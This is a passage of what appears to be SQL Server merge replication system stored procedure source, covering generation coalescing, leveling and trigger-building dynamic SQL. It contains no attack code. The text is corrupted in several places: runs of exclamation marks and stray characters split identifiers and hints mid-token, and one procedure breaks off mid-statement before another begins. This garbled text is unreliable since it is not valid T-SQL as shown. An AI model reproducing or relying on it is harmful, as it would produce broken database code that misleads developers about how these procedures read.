                    begin
                        select @procfailed = 1
                        goto EXIT_RELEASE_TRAN
                    end
                end

                update dbo.MSmerge_contents with (rowlock) 
                    set partchangegen = @target_gen 
                where partchangegen = @gen and tablenick = @art_nick
                if @error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end

                update dbo.MSmerge_contents with (rowlock!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(i
5nv[) 
                    set partchangegen = (-@target_gen )
                where partchangegen = (-@gen) and tablenick = @art_nick
                if @error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end

                update dbo.MSmerge_metadataaction_request with (rowlock) 
                    set generation = @target_gen 
                where generation = @gen and tablenick = @art_nick
                if @error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end

                select @changes_in_target_gen = @changes_in_target_gen + @contents_rows_moved
                select @changes_in_gen = @changes_in_gen - @contents_rows_moved

                -- detect possible infinite loop & exit - vsts 131099 & hotfix 50001356
                if (@tombstone_rows_moved + @contents_rows_moved = 0 )
                begin
                    -- there were no matching rows for this (generation, artnick) in tombstone or contents

                    if  (exists (select * from dbo.MSmerge_contents where generation=@gen and tablenick <> @art_nick) or 
                         exists (select * from dbo.MSmerge_tombstone where generation=@gen and tablenick <> @art_nick))
                    begin
                        -- if there exists matching rows for this generation but with a different artnick, 
                        -- change the generation for mismatched artnicks.
                        exec sp_MSadjustgenerations @gen, @changes_in_gen, @art_nick, @dbname, @nickbin
                    end

                    -- this breaks the infinite loop from happenning
                    select @changes_in_gen=0
                end


                update dbo.MSmerge_genhistory with (rowlock) set changecount = @changes_in_gen where generation = @gen
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                update dbo.MSmerge_genhistory with (rowlock)  set changecount = @changes_in_target_gen where generation = @target_gen
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                -- continue with the generation coalescing loop. The loop will make progress by increasing the changecount in light gens.
                select @gen = NULL
                select top 1 @gen = generation, @changes_in_gen = changecount from dbo.MSmerge_genhistory with (rowlock) 
                    where genstatus = 3 and 
                          changecount < @min_changes_per_gen and 
                          changecount > 0 and 
                          art_nick = @art_nick and
                          subscriber_number = 0 -- this ensures that we coalesce only local generations and not localized generations
            end
        end

        -- insert into generation partition mappings.
        insert into dbo.MSmerge_generation_partition_mappings with (rowlock) 
            (publication_number, partition_id, generation, changecount)
            select cpm.publication_number, cpm.partition_id, g.generation, count(*)
            from dbo.MSmerge_genhistory g with (rowlock)
                    inner join dbo.MSmerge_contents mc with (rowlock, repeatableread) 
                        on mc.generation = g.generation and 
                           mc.tablenick = @art_nick and 
                           mc.tablenick = g.art_nick and
                           g.genstatus = 3
                    inner join dbo.MSmerge_current_partition_mappings cpm with (rowlock, repeatableread) 
                        on cpm.tablenick = mc.tablenick and 
                           cpm.rowguid = mc.rowguid
            where g.art_nick = @art_nick
                and mc.tablenick = @art_nick
                and cpm.tablenick = @art_nick
                and g.genstatus = 3
            group by cpm.publication_number, cpm.partition_id, g.generation
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end
                
        insert into dbo.MSmerge_generation_partition_mappings with (rowlock)
            (publication_number, partition_id, generation, changecount)
            select ppm.publication_number, ppm.partition_id, g.generation, count(*)
            from dbo.MSmerge_genhistory g with (rowlock)
                inner join dbo.MSmerge_past_partition_mappings ppm with (rowlock, repeatableread) 
                    on ppm.generation = g.generation and 
                       ppm.tablenick = g.art_nick
            where ppm.tablenick = @art_nick
                and g.art_nick = @art_nick
                and g.genstatus = 3
            group by ppm.publication_number, ppm.partition_id, g.generation
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end
        
        -- continue the artnick loop
        -- set up for next time through the loop
        select @prev_art_nick = @art_nick, @prev_processing_order = @processing_order
        select @art_nick = NULL, @processing_order = NULL        
        
        select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
        where (processing_order = @prev_processing_order and nickname > @prev_art_nick)
        or processing_order > @prev_processing_order
        order by processing_order, nickname        
    end    

    /*if object_id('MSmerge_genhistory_debug') is not NULL
    begin
        insert MSmerge_genhistory_debug (generation, art_nick, guidsrc, nicknames, description)
        select generation, art_nick, guidsrc, nicknames, 'before delete' from dbo.MSmerge_genhistory with (rowlock) 
        where genstatus=3 and changecount=0 and art_nick=@art_nick
    end*/


    -- delete all generations that have zero changes. even though we can just rely on changecount we 
    -- will just do a query to select contents and tombsone just to be sure.
    delete from dbo.MSmerge_genhistory with (rowlock) 
    from dbo.MSmerge_genhistory g with (rowlock)
    where genstatus = 3 and
          changecount = 0
        and not exists (select 1 from dbo.MSmerge_contents c with (rowlock, repeatableread) where c.generation = g.generation) 
        and not exists (select 1 from dbo.MSmerge_tombstone t with (rowlock, repeatableread) where t.generation = g.generation)
        and not exists (select 1 from dbo.MSmerge_past_partition_mappings ppm with (rowlock, repeatableread) where ppm.generation = g.generation)
        and not exists (select 1 from dbo.MSmerge_metadataaction_request mar with (rowlock, repeatableread) where mar.generation = g.generation)
    if @@error<>0
    begin
        select @procfailed = 1
        goto EXIT_RELEASE_TRAN
    end

    /*if object_id('MSmerge_genhistory_debug') is not NULL
    begin
        insert MSmerge_genhistory_debug (generation, art_nick, guidsrc, nicknames, description)
        select generation, art_nick, guidsrc, nicknames, 'after delete' from dbo.MSmerge_genhistory with (rowlock) 
        where genstatus=3 and changecount=0 and art_nick=@art_nick
    end*/
    
    update dbo.MSmerge_genhistory with (rowlock)
        set genstatus = 1,
            guidsrc = newid(),
            coldate = getdate()
        where genstatus = 3



END_TRAN:
      
    commit transaction

    update dbo.sysmergesubscriptions
    set last_makegeneration_datetime = getdate()
    where db_name = db_name()
       and UPPER(subscriber_server) collate database_default = UPPER(@@servername) collate database_default     

    select @!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(j
5@XQv
create procedure sys.sp_MSmakegenerationold
    @gencheck int = 0,
    @gen_level_threshold_override int = -1,
    @commongen bigint = NULL, 
    @commongenguid uniqueidentifier = NULL,
    @commongenvalid int = NULL OUTPUT 
as
    set nocount on
    declare @gen bigint
    , @replnick binary(6)
    , @genguid uniqueidentifier
    , @dt datetime
    , @dt2 datetime
    , @art_nick int
    , @first_ts int
    , @makenewrow bit
    , @retcode smallint
    , @nickbin varbinary(255)
    , @maxgendiff_fornewrow bigint
    , @count_of_articles int
    , @lock_acquired bit
    , @lock_resource nvarchar(255)
    , @procfailed bit
    , @delete_old_genhistory bit
    , @close_old_genhistory bit
    , @changecount int
    , @dbname nvarchar(258)
    , @processing_order int
    , @prev_processing_order int
    , @prev_art_nick int
    , @force_leveling bit
    , @gen_change_threshold int

    declare @cmd nvarchar(4000)
    declare @old_bi_gen bigint
    declare @bi_view_objid int

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    select @dbname = quotename(db_name())
    select @force_leveling = 0

    if exists (select * from dbo.sysmergepartitioninfo where partition_options>1)
        select @gencheck = 3

    if @commongen is not NULL
    begin
        exec @retcode= sys.sp_MSvalidatecommongen @commongen = @commongen, @commongenguid = @commongenguid, @commongenvalid = @commongenvalid OUTPUT
        if @retcode<>0 or @@error<>0 goto EXIT_PROC
    end

    select @procfailed = 1
    select @retcode = 0
    set @genguid = newid()
    
    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 goto EXIT_PROC

    -- add a guard byte
    set @nickbin= @replnick + 0xFF

    select @dt2 = max(coldate) from dbo.MSmerge_genhistory with (NOLOCK) where genstatus = 1
    set @dt = getdate()

    if datediff(dd, @dt2, @dt) = 0
    begin
        if 500 > datediff(ms, @dt2, @dt) and 0 < datediff(ms, @dt2, @dt)
        begin
            select @procfailed = 0
            goto EXIT_PROC
        end
    end

    -- localize interrupted generations
    exec @retcode= sp_MSlocalizeinterruptedgenerations
    if @retcode<>0 or @@error<>0 goto EXIT_PROC

    -- If @gencheck param is set to 1 ( = ForceConvergence), look for rows with missing generation numbers and set their
    -- gen to 0
    if @gencheck = 1 or @gencheck = 2
    begin
        update dbo.MSmerge_contents set generation = 0 where generation not in
            (select generation from dbo.MSmerge_genhistory)
        update dbo.MSmerge_tombstone set generation = 0 where generation not in
            (select generation from dbo.MSmerge_genhistory)
        update dbo.MSmerge_past_partition_mappings set generation = 0 where generation not in
            (select generation from dbo.MSmerge_genhistory)
    end
    /*
    ** If there are no zero generation tombstones or rows, add a dummy row in there. 
    */
    if not exists (select * from dbo.MSmerge_genhistory)
    begin
        set identity_insert dbo.MSmerge_genhistory on

        insert into dbo.MSmerge_genhistory (guidsrc, genstatus, generation, art_nick, nicknames, coldate) values
        (@genguid, 1, 1, 0, @nickbin, @dt)
        if (@@error <> 0) goto EXIT_PROC
        set identity_insert dbo.MSmerge_genhistory off

    end

    -- the code below levels generations which have a number of changes in tombstone
    select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
    order by processing_order desc, nickname desc
    while @art_nick is not null
    begin
    
        if @gen_level_threshold_override < 0
            select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @art_nick)
        else
            select @gen_change_threshold = @gen_level_threshold_override
        
        begin tran
        save tran leveldeletes
        
        select @gen = max(gen_cur) from dbo.sysmergearticles with (updlock holdlock) where nickname = @art_nick and gen_cur is not null

        if exists (select * from dbo.MSmerge_tombstone with (readpast readcommitted) where generation = 0 and tablenick = @art_nick)
        begin
            update dbo.MSmerge_tombstone set generation = @gen where generation = 0 and tablenick = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN2
            end
        end
        
        if exists (select * from dbo.MSmerge_past_partition_mappings with (readpast readcommitted) where generation = 0 and tablenick = @art_nick)
        begin
            update dbo.MSmerge_past_partition_mappings set generation = @gen where generation = 0 and tablenick = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN2
            end
        end
        
        if exists (select * from dbo.MSmerge_metadataaction_request with (readpast readcommitted) where generation = 0 and tablenick = @art_nick)
        begin
            update dbo.MSmerge_metadataaction_request set generation = @gen where generation = 0 and tablenick = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN2
            end
        end
    
        exec @retcode = sys.sp_MSlevelchanges @gen, @art_nick, @gen_change_threshold, @nickbin, @replnick, @level_deletes_only=1, @force_leveling=@force_leveling output
        if @@error <> 0 or @retcode <> 0
        begin
            goto EXIT_RELEASE_TRAN2
        end    
        
        commit tran
        
        select @prev_art_nick = @art_nick, @prev_processing_order = @processing_order
        select @art_nick = NULL, @processing_order = NULL        
        
        select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
        where (processing_order = @prev_processing_order and nickname < @prev_art_nick)
        or processing_order < @prev_processing_order
        order by processing_order desc, nickname desc
    
    end

    -- the code below levels generations which have a number of changes in contents
    select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
    order by processing_order, nickname
    while @art_nick is not null
    begin
        set @bi_view_objid= NULL
        
        set @bi_view_objid= (select top 1 before_upd_view_objid from dbo.sysmergearticles where nickname = @art_nick)
        if @bi_view_objid is not null
        begin
            set @cmd= 'update ' + @dbname + '.[dbo].' + quotename(object_name(@bi_view_objid)) + ' set generation= @gen where generation = @oldgen'
        end

        if @gen_level_threshold_override < 0
            select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @art_nick)
        else
            select @gen_change_threshold = @gen_level_threshold_override

        begin tran
        save tran levelcontents
        
        select @gen = max(gen_cur) from dbo.sysmergearticles with (updlock holdlock) where nickname = @art_nick and gen_cur is not null

        -- if either we have no gen_cur set yet, or if we have one but no corresponding genhistory row or we have a closed one which
        -- was bcp-ed in after a reinit, we need to create a new one.
        if @gen is null or 
            (    @gen is not null 
                and not exists (select generation from dbo.MSmerge_genhistory where generation = @gen and genstatus = 0)
            )
        begin
            declare @o!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(k
5bKvldgen bigint
            
            set @genguid = newid()
            set @oldgen = @gen

            insert into dbo.MSmerge_genhistory (guidsrc, genstatus, art_nick, nicknames, coldate) 
                values(@genguid, 0, @art_nick, @nickbin, @dt)
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN3
            end    
            
            select @gen = @@identity
            
            update dbo.sysmergearticles set gen_cur = @gen where nickname = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN3
            end    

            -- if this was the case of a gen_cur with no matching genhistory rows, then update the contents and tombstones rows with the new generation value.
            if @oldgen is not null
            begin
                update dbo.MSmerge_contents set generation = @gen, partchangegen = @gen
                     where generation = @oldgen and partchangegen = @oldgen and tablenick = @art_nick
                if (@@error <> 0)
                begin
                    goto EXIT_RELEASE_TRAN3
                end    
                update dbo.MSmerge_contents set generation = @gen, partchangegen = (-@gen)
                     where generation = @oldgen and partchangegen = (-@oldgen) and tablenick = @art_nick
                if (@@error <> 0)
                begin
                    goto EXIT_RELEASE_TRAN3
                end    
                update dbo.MSmerge_contents set generation = @gen where generation = @oldgen and tablenick = @art_nick
                if (@@error <> 0)
                begin
                    goto EXIT_RELEASE_TRAN3
                end
                update dbo.MSmerge_tombstone set generation = @gen where generation = @oldgen and tablenick = @art_nick
                if (@@error <> 0)
                begin
                    goto EXIT_RELEASE_TRAN3
                end
                update dbo.MSmerge_metadataaction_request set generation = @gen where generation = @oldgen and tablenick = @art_nick
                if (@@error <> 0)
                begin
                    goto EXIT_RELEASE_TRAN3
                end
                update dbo.MSmerge_past_partition_mappings set generation = @gen where generation = @oldgen and tablenick = @art_nick
                if (@@error <> 0)
                begin
                    goto EXIT_RELEASE_TRAN3
                end

                if @bi_view_objid is not null
                begin
                    exec sys.sp_executesql @cmd, N'@gen bigint, @oldgen bigint', @gen= @gen, @oldgen= @oldgen
                    if @@ERROR <> 0 goto EXIT_RELEASE_TRAN3
                end

            end
        end
            
        -- update the rows with generation 0 to have generation of gen_cur
        if exists (select * from dbo.MSmerge_contents with (readpast readcommitted) where partchangegen = 0 and tablenick = @art_nick)
        begin
            update dbo.MSmerge_contents set partchangegen = @gen where partchangegen = 0 and tablenick = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN3
            end    
        end
            
        if exists (select * from dbo.MSmerge_contents with (readpast readcommitted) where generation = 0 and tablenick = @art_nick)
        begin
            update dbo.MSmerge_contents set generation = @gen where generation = 0 and tablenick = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN3
            end
        end
            
        if exists (select * from dbo.MSmerge_tombstone with (readpast readcommitted) where generation = 0 and tablenick = @art_nick)
        begin
            update dbo.MSmerge_tombstone set generation = @gen where generation = 0 and tablenick = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN3
            end
        end

        if exists (select * from dbo.MSmerge_past_partition_mappings with (readpast readcommitted) where generation = 0 and tablenick = @art_nick)
        begin
            update dbo.MSmerge_past_partition_mappings set generation = @gen where generation = 0 and tablenick = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN3
            end
        end

        exec @retcode = sys.sp_MSlevelchanges @gen, @art_nick, @gen_change_threshold, @nickbin, @replnick, @level_deletes_only=0, @force_leveling=@force_leveling output
        if @@error <> 0 or @retcode <> 0
        begin
            goto EXIT_RELEASE_TRAN3
        end    

        commit tran
        
        -- set up for next time through the loop
        select @prev_art_nick = @art_nick, @prev_processing_order = @processing_order
        select @art_nick = NULL, @processing_order = NULL        
        
        select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
        where (processing_order = @prev_processing_order and nickname > @prev_art_nick)
        or processing_order > @prev_processing_order
        order by processing_order, nickname
        
        set @dt = getdate()
    end


    select @count_of_articles = count(*) from dbo.sysmergearticles
    
    select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
    order by processing_order, nickname

    -- Calculate how much less than the max generation in MSmerge_genhistory are we willing to have the minimum open generation in MSmerge_genhistory.
    -- Having a number smaller than or roughly equal to the number of articles will cause more aggressive closing of existing open gens (and making new rows) with 0 changes
    -- and hence more generations for merge agents to deal with. Having a very high number will cause less aggressive closing of open gens but will cause the
    -- common gens of replicas to be stuck at lower numbers because of the existence of "holes" at much lower gen values. An optimization that works well
    -- and is a compromise between the two extremes is to have the max of 100 or (2 * @count_of_articles) + 1 as the max diff we allow before deciding to make a new row.
    if ((2 * @count_of_articles) + 1) > 100
        select @maxgendiff_fornewrow = (2 * @count_of_articles) + 1
    else
        select @maxgendiff_fornewrow = 100

    while @art_nick is not null
    begin
        set @old_bi_gen= NULL -- if @old_bi_gen stays NULL: no need to move bi-rows
        set @delete_old_genhistory = 0
        set @close_old_genhistory = 0
        set @makenewrow = 0

        set @bi_view_objid= NULL
        
        set @bi_view_objid= (select top 1 before_upd_view_objid from dbo.sysmergearticles where nickname = @art_nick)
        if @bi_view_objid is not null
        begin
            set @cmd= 'update ' + @dbname + '.[dbo].' + quotename(object_name(@bi_view_objid)) + ' set generation= @gen where generation = @oldgen'
        end
                
        begin tran
        save tran sp_MSmakegeneration
        
        select @gen = max(gen_cur) from dbo.sysmergearticles with (updlock holdlock) where nickname = @art_nick and gen_cur is not null

        if not exists (select * from dbo.MSmerge_contents where tablenick = @art_nick and
                        generation = @gen) and
           not exists (select * from dbo.MSmerge_tombstone where tablenick = @art_nick and
                        generation = @gen) and
           not exists (select * from dbo.MSmerge_past_partition_mappings where generation = @gen)
        begin

            select @dt2 = coldate from dbo.MSmerge_genhistory where generation = @gen
            if datediff(dd, @dt2, @dt) = 0 and not exists (select * from dbo.MSmerge_genhistory
                    where generation > @maxgendiff_for!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<l
5Ynewrow + @gen)
            begin
                set @makenewrow = 0
                set @delete_old_genhistory = 0
                
                -- If @gencheck param is set to 3 (= OverrideMakeNewGenerations), set the @makenewrow flag
                -- This is done for message based merges to ensure that the incomplete gens always get closed
                -- during every merge if there are completed generations > than this one.
                -- Besides closed generations > this one, we also need to watch out for open generations > this one
                -- that have pending changes, and hence sp_MSmakegeneration will eventually close them out. This is
                -- required when the @gen just happens to be processed before other open generations with changes.
                if @gencheck = 3 
                begin
                    if exists (select * from dbo.MSmerge_genhistory gh 
                                where gh.generation > @gen 
                                and gh.genstatus <> 0)
                        or exists (select * from dbo.MSmerge_contents mc where mc.generation > @gen)
                        or exists (select * from dbo.MSmerge_tombstone mt where mt.generation > @gen)
                    begin
                        set @makenewrow = 1
                        set @old_bi_gen= @gen -- we will move bi-rows
                        set @delete_old_genhistory = 1
                    end
                end
            end
            else
            begin
                set @makenewrow = 1
                set @old_bi_gen= @gen -- we will move bi-rows
                set @delete_old_genhistory = 1
            end
        end
        else
        begin
            set @makenewrow = 1
            set @delete_old_genhistory = 0    -- don't delete existing genhistory row. just mark it as closed.
            set @close_old_genhistory = 1
        end

        if (@makenewrow = 1)
        begin
            declare @newgen bigint

            /* reset next generation for this article */
            set @genguid = newid()
            insert into dbo.MSmerge_genhistory (guidsrc, genstatus, art_nick, nicknames, coldate) 
                values(@genguid, 0, @art_nick, @nickbin, @dt)
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN
            end    

            select @newgen = @@identity

            update dbo.sysmergearticles set gen_cur = @newgen where nickname = @art_nick
            if (@@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN
            end    
            if @bi_view_objid is not null and @old_bi_gen is not NULL
            begin
                exec sys.sp_executesql @cmd, N'@gen bigint, @oldgen bigint', @gen = @newgen, @oldgen = @old_bi_gen
                if @@ERROR <> 0 goto EXIT_RELEASE_TRAN
            end
        end

        if (@delete_old_genhistory = 1)
        begin
            declare @error int
            declare @genhistory_rowsdeleted int

            -- delete the old genhistory row only if there still aren't any rows in contents or 
            -- tombstone with this generation value. Note that after the previous update statement on dbo.sysmergearticles
            -- no new spids can take locks on dbo.sysmergearticles and hence cannot 
            -- insert any new rows with the old gen_cur.
            delete from dbo.MSmerge_genhistory 
            where generation = @gen
            and not exists (select * from dbo.MSmerge_contents where tablenick = @art_nick and generation = @gen) 
            and not exists (select * from dbo.MSmerge_tombstone where tablenick = @art_nick and generation = @gen)
            and not exists (select * from dbo.MSmerge_past_partition_mappings where generation = @gen)

            select @genhistory_rowsdeleted = @@rowcount, @error = @@error

            -- If the genhistory row which we previously thought could be deleted, now has changes in contents or 
            -- tombstone, it's okay to not delete it and still leave it as open. In future this open generation
            -- will be treated as an interrupted generation and the changes in it will be moved to a new local 
            -- generation. So there will be convergence. Deleting the genhistory row based on incorrect past determination
            -- of 0 changes is dangerous and can easily cause non-convergence.
            -- The best solution is to close this generation if we finally didn't delete it. The reason is that it
            -- allows subscribers to move their last received watermark higher than this open generation.
            if @genhistory_rowsdeleted = 0
            begin
                set @close_old_genhistory = 1
            end
            
            if (@error <> 0)
            begin
                goto EXIT_RELEASE_TRAN
            end    
        end

        if (@close_old_genhistory = 1)
        begin
            set @genguid = newid()
            set @changecount = 0
            
            exec @retcode = sys.sp_MSclosegeneration @gen, @art_nick, @genguid, @replnick
            if @retcode <> 0 or @@error <> 0
            begin
                goto EXIT_RELEASE_TRAN
            end
        end

        commit transaction        
        
        -- set up for next time through the loop
        select @prev_art_nick = @art_nick, @prev_processing_order = @processing_order
        select @art_nick = NULL, @processing_order = NULL        
        
        select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
        where (processing_order = @prev_processing_order and nickname > @prev_art_nick)
        or processing_order > @prev_processing_order
        order by processing_order, nickname
        
        set @dt = getdate()
    end

    select @procfailed = 0
        
EXIT_RELEASE_TRAN:

    if (@procfailed = 1)
    begin
        rollback tran sp_MSmakegeneration
        commit tran
        return 1
    end

EXIT_RELEASE_TRAN2:

    if (@procfailed = 1)
    begin
        rollback tran leveldeletes
        commit tran
        return 1
    end

EXIT_RELEASE_TRAN3:

    if (@procfailed = 1)
    begin
        rollback tran levelcontents
        commit tran
        return 1
    end
    
EXIT_PROC:
    if (@procfailed = 1)
        return (1)    
    else
        return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(n
6(TAvhrowcount > 0
        begin
            
            select @child_oldmaxversion= maxversion_at_cleanup 
                from dbo.sysmergearticles 
                where nickname = ' + convert(nvarchar, @immediate_child_nickname) + '
                
            -- the code below will get an open generation for the child article
            select @child_newgen = NULL
            select top 1 @child_newgen = generation from ' + @genhistory_viewname + ' with (rowlock, updlock, readpast) 
                where art_nick = ' + convert(nvarchar,@immediate_child_nickname) + ' 
                    and genstatus = 0'
            if @level_generations_in_trigger = 1
                select @command3 = @command3 + '
                    and changecount <= (' + convert(nvarchar, @gen_change_threshold) + '- isnull(@inserted_child_rowcount,0) - isnull(@deleted_child_rowcount,0))'

            select @command3 = @command3 + '
            if @child_newgen is NULL
            begin
                insert into ' + @genhistory_viewname + ' with (rowlock)
                (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
                      values  (newid(), 0, ' + convert(nvarchar,@immediate_child_nickname) + ', @nickbin, @dt, 1)
                select @error= @@error, @child_newgen = @@identity    
                if @error<>0 or @child_newgen is NULL
                    goto FAILURE
            end'
            
            if @level_generations_in_trigger = 1
                select @command3 = @command3 + '            
            -- do the update right away to change the changecount to include the rows that we just put in the generation
            update ' + @genhistory_viewname + ' with (rowlock)
            set changecount = changecount + isnull(@inserted_child_rowcount,0) + isnull(@deleted_child_rowcount,0)
            where generation = @child_newgen 
            if @@error<>0 goto FAILURE
'
                
            
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            
            select @command3 = '
            if @inserted_child_rowcount > 0
            begin '
                            
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            if @join_unique_key = 0 or @parent_columns_unique = 0
            begin
                if @logical_record_view is not null
                    select @command3 = '
            if @article_rows_updated = 1
                    update ' + @viewname + ' with (rowlock) set generation = 0, marker = @child_marker,
                    lineage = { fn UPDATELINEAGE(lineage, @replnick, @child_oldmaxversion+1) }
                    from ' + @viewname + ' mc with (rowlock)
                    where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                    and mc.rowguid in 
                        (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
                        + ', ' + @basetable_ownerqualified_replviewname + ' '
                        + quotename(object_name(@objid)) + ' where '
                        + quotename(object_name(@objid)) + '.' + @rgcol + ' = @rowguid and '
                        + '(' + @join_filterclause + ')' + ')                
            else'
                else
                    select @command3 = ''
                select @command3 = @command3 + '
                    update ' + @viewname + ' with (rowlock) set generation = 0, marker = @child_marker,
                    lineage = { fn UPDATELINEAGE(lineage, @replnick, @child_oldmaxversion+1) }
                    from ' + @viewname + ' mc with (rowlock)
                    where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                    and mc.rowguid in 
                        (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
                        + ', inserted ' 
                        + quotename(object_name(@objid)) + ' where '
                        + '(' + @join_filterclause + ')' + ' ) '
            end
            else
            begin
                if @logical_record_view is not null
                    select @command3 = '                 
            if @article_rows_updated = 1
                update ' + @viewname + ' with (rowlock) set generation = 0, marker = @child_marker,
                lineage = { fn UPDATELINEAGE(lineage, @replnick, @child_oldmaxversion+1) }
                    from ' + @viewname + ' mc with (rowlock), ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
                    + ' with (rowlock) , ' + @basetable_ownerqualified_replviewname + ' '
                    + quotename(object_name(@objid)) + ' with (rowlock) where '
                    + quotename(object_name(@objid)) + '.' + @rgcol + ' = @rowguid 
                    and mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                    and mc.rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '          
                    and ' + '(' + @join_filterclause + ')
            else'
                else
                    select @command3 = ''
               select @command3 = @command3 + '
                    update ' + @viewname + ' with (rowlock) set generation = 0, marker = @child_marker,
                    lineage = { fn UPDATELINEAGE(lineage, @replnick, @child_oldmaxversion+1) }
                    from inserted ' + quotename(object_name(@objid)) + ', ' 
                    + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
                    + ' with (rowlock), '
                    + @viewname + ' mc with (rowlock)
                    where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                    and mc.rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '          
                and ' + '(' + @join_filterclause + ') '
            end

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            
            select @command3 = '
                select @child_metadatarows_updated = @@rowcount '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            select @command3 = '
                if @child_metadatarows_updated < @inserted_child_rowcount '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            set @command3 = '
                begin
                    set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @child_oldmaxversion+1) } '

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            if @child_has_col_tracking = 1
                set @command3 =  '
                    set @cv = 0xFF '
            else 
                set @command3 = ' 
                    set @cv = NULL '
            
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            if @join_unique_key = 0 or @parent_columns_unique = 0
            begin
                if @logical_record_view is not null
                    set @command3 = '
                    if @article_rows_updated = 1
                            insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker)
                            select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                            from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' 
                            where ' + @child_rgcol + ' in 
                            (select !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(o
6vh ' + @immediate_child_table_name + '.' + @child_rgcol + ' 
                                from ' + @basetable_ownerqualified_replviewname + ' '
                                + quotename(object_name(@objid)) + ' with (rowlock), ' 
                                + @owner_qualified_immediate_child_table_name + ' ' 
                                + @immediate_child_table_name + ' with (rowlock) where '
                                + quotename(object_name(@objid)) + '.' + @rgcol + ' = @rowguid and '
                                + '(' + @join_filterclause + ')' + ')
                            and not exists 
                                (select * from ' + @viewname + ' mc with (rowlock)
                                where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                                and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')                           
                    else '
                else
                    set @command3 = ''
                set @command3 = @command3 + '
                        insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker)
                        select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                        from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' 
                        where ' + @child_rgcol + ' in 
